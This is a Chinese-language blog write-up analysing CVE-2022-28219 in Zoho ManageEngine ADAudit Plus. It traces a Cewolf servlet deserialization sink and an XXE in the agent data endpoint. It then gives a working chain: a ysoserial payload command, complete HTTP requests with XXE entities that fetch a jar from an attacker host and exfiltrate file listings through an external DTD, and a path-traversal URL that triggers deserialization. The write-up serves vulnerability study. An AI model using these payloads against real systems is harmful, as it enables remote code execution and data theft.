Zoho ManageEngine ADAudit Plus (CVE-2022-28219 )漏洞分析

Zoho ManageEngine ADAudit Plus (CVE-2022-28219 )漏洞分析

前言

看到y4er师傅文章分析的zoho xxe的一些有意思组合利用方式,学习一下

漏洞分析

反序列化

<servlet>
		<servlet-name>CewolfServlet</servlet-name>
		<servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class>
		<init-param>
			<param-name>debug</param-name>
			<param-value>false</param-value>
		</init-param>
  <init-param>
			<param-name>storage</param-name>
			<param-value>de.laures.cewolf.storage.FileStorage</param-value>
		</init-param>
		<load-on-startup>1</load-on-startup>
	</servlet>
  <servlet-mapping>
	<servlet-name>CewolfServlet</servlet-name>
	<url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>
  
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        if (this.debugged) {
            this.logRequest(request);
        }

        this.addHeaders(response);
        if (request.getParameter("state") == null && request.getParameterNames().hasMoreElements()) {
            synchronized(this.lock) {
                ++this.requestCount;
            }

            int width = 400;
            int height = 400;
            boolean removeAfterRendering = false;
            if (request.getParameter("removeAfterRendering") != null) {
                removeAfterRendering = true;
            }

            if (request.getParameter("width") != null) {
                width = Integer.parseInt(request.getParameter("width"));
            }

            if (request.getParameter("height") != null) {
                height = Integer.parseInt(request.getParameter("height"));
            }

            String imgKey = request.getParameter("img");
            if (imgKey == null) {
                this.logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height);
            } else {
                Storage storage = this.config.getStorage();
                ChartImage chartImage = storage.getChartImage(imgKey, request);
public ChartImage getChartImage(String id, HttpServletRequest request) {

		ChartImage res = null;

		ObjectInputStream ois = null;

		try {

			ois = new ObjectInputStream(new FileInputStream(getFileName(id)));

			res = (ChartImage)ois.readObject();

			ois.close();

		} catch(Exception ex){

			ex.printStackTrace();

		} finally {

			if(ois != null){

				try {

					ois.close();

				} catch(IOException ioex){

					ioex.printStackTrace();

				}

			}

		}

		return res;

	}

通过img参数传递去获取id,调用getFileName获取文件进行反序列化操作

image-20220928194550052

image-20220928194620399

public void init(ServletContext servletContext) throws CewolfException
	{
		basePath=servletContext.getRealPath("/");
		String folder=servletContext.getInitParameter("folder");
		
		if(folder==null || (folder.equalsIgnoreCase("")))
		{
			//folder="cewolf_charts"+File.separator;
            folder = "/cewolf_charts";
		}

		folder=servletContext.getRealPath(folder);
		//folder=basePath+File.separator+folder+File.separator;

		File f=new File(folder);
		if(f.isDirectory())
		{
			basePath=folder;
			startWatcher();
			return;
		}
		
		if(f.mkdir())
		{
			basePath=folder;
		}

下面需要一个文件上传点。

XXE

com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequest

image-20220929145502798

通过url正则,获取对应的handle方法进行处理

/tabs/agentData路由的是 com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveData

image-20220929145831217

前面获取处理一些传递的json数据

image-20220929145948105

image-20220929150029557

把json数据放入到事件的消息对列中

当数据返回时,即回走入到该事件处理

com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run

image-20220929152013850

获取json传递数据的DomainName 不为空则ProcessMonitor.process继续处理该json数据

image-20220929153403033

json解析事件,如果domainname不为空,且输入正确,走入到ProcessMonitor.process(modData);处理

image-20220929154540836

image-20220929154804385

获取test.local中的事件,事件内容不为空则调用com.adventnet.sym.adsm.auditing.server.ProcessMonitor#addEventRows处理

image-20220929155656682

通过catgId获取事件类别监听器,这里id是11,ProcessTrackingListenerProcessTrackingListener对象接着调用getEventRowList方法

image-20220929160103432

调用this.parseTaskContent(row, eventTbl);后来到xxe的位置

image-20220929160225283

漏洞利用

文件上传

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsBeanutils2 -a raw_cmd:"calc" > 123.ser

https://github.com/pwntester/BlockingServer

java BlockingServer 8089 123.ser
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.108.245:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: authen=open; policy=open; JSESSIONIDADAP=D66AE139BC5244CC8A7ED01CF1F3612C; adapcsrf=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30; _zcsr_tmp=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30
Connection: close
Content-Type: application/json
Content-Length: 314

[
    {
        "DomainName": "test.local",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://172.16.108.1:8089/cases.jar!/cs.txt\"> ]><foo>&ssrf;</foo>"
    }
]

image-20220929161602130

文件读取

https://github.com/LandGrey/xxe-ftp-server

python xxe-ftp-server.py 172.16.108.1 9099 2121
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.108.245:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: authen=open; policy=open; JSESSIONIDADAP=D66AE139BC5244CC8A7ED01CF1F3612C; adapcsrf=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30; _zcsr_tmp=c2237177f55aa5e053524ac86b91bf6f9f425b933e29383377a175ee6186fd24f46c86c890f883ca57e784080295e9b52d964312c63e347a16cb390bdf95eb30
Connection: close
Content-Type: application/json
Content-Length: 384

[
    {
        "DomainName": "test.local",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [  <!ENTITY % file SYSTEM \"file:///C:/Users/admin/AppData/Local/Temp/\">  <!ENTITY % dtd SYSTEM \"http://172.16.108.1:9099/data.dtd\"> %dtd;]><data>&send;</data>"
    }
]

image-20220929162524176

看到文件已经被写入进来了

反序列化

/cewolf/aaaa?img=/../../../../../../../../../Users/admin/AppData/Local/Temp/jar_cache9091707163659467742.tmp

image-20220929163337867

参考

https://y4er.com/posts/cve-2022-28219-zoho-manageengine-adaudit-plus-xxe-rce/#串联

https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

结尾

看完这个漏洞后,知道XXE能上传文件,并且上传的文件位置与文件名并不可控。发觉以前错过了很多可利用点。可惜在高版本被修复。

posted @ 2022-09-29 17:00  nice_0e3  阅读(267)  评论(0编辑  收藏  举报